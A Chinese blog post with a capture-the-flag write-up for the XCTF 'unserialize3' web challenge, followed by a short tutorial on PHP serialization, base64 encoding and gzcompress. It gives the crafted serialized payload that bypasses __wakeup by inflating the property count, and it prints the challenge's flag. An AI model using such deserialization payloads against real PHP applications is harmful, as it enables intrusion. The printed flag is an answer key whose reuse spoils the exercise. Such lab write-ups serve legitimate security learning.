【愚公系列】2021年12月 攻防世界-进阶题-WEB-010(unserialize3)

举报
愚公搬代码 发表于 2021/12/27 22:59:24 2021/12/27
【摘要】 一、unserialize3题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1 二、使用步骤 1.点击获取在线场景 2.进入页面进入场景发现代码class xctf{ //类public $flag = '111';//public定义flag变量公开可见public functi...

一、unserialize3

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1

二、使用步骤

1.点击获取在线场景

在这里插入图片描述

2.进入页面

进入场景发现代码

class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=

3.反序列化漏洞

__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了
但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化
利用php中的new运算符,实例化类xctf

new 是申请空间的操作符,一般用于类
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

<?php
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//少了一个}
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

序列化返回的字符串格式

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值

所以要修改属性值< n >,既把1改为2以上,在浏览器上后面加code参数如下

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在这里插入图片描述
得到flag:cyberpeace{e9f913fd20c51f0302b069c2b9f16fba}


总结

php反序列化中__wakeup漏洞的利用

<?php
$a="aaaa";
$a=serialize($a);//字符序列化
echo $a;
echo unserialize($a);//字符反序列化
echo PHP_EOL;


$b=array("aaaa","bb","c");
$b=serialize($b);//数组序列化
echo $b;
$b=unserialize($b);//数组反序列化
var_dump($b);
echo PHP_EOL;


s:4:"aaaa";aaaa
a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) {
  [0]=>
  string(4) "aaaa"
  [1]=>
  string(2) "bb"
  [2]=>
  string(1) "c"
}
?>
各个字符的意义:
o:表示对象
a:表示数组
s:表示字符
i:表示数字

//s表示字符,4表示有4个字符,内容为"aaaa"
//a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符

当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。

<?php
$a = array("a","b","c");
$a=base64_encode(serialize($a));
echo $a;
echo PHP_EOL;
$b=unserialize(base64_decode($a));
var_dump($b);

YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9
array(3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

?>

但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。

<?php
$a = array("a","b","c");
$b=base64_encode(serialize($a));
$c=base64_encode(gzcompress(serialize($a)));
echo $b;
echo PHP_EOL;
echo $c;
echo PHP_EOL;

$d=unserialize(base64_decode($b));
$e=unserialize(gzuncompress(base64_decode($c)));
var_dump($d);
echo PHP_EOL;
var_dump($e);

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。